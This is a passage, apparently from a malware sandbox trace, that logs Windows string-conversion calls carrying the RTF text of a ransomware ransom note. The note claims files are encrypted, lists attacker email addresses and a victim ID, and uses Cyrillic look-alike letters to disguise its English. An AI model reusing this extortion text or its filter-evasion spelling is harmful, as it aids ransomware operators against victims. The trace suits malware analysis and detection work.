r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 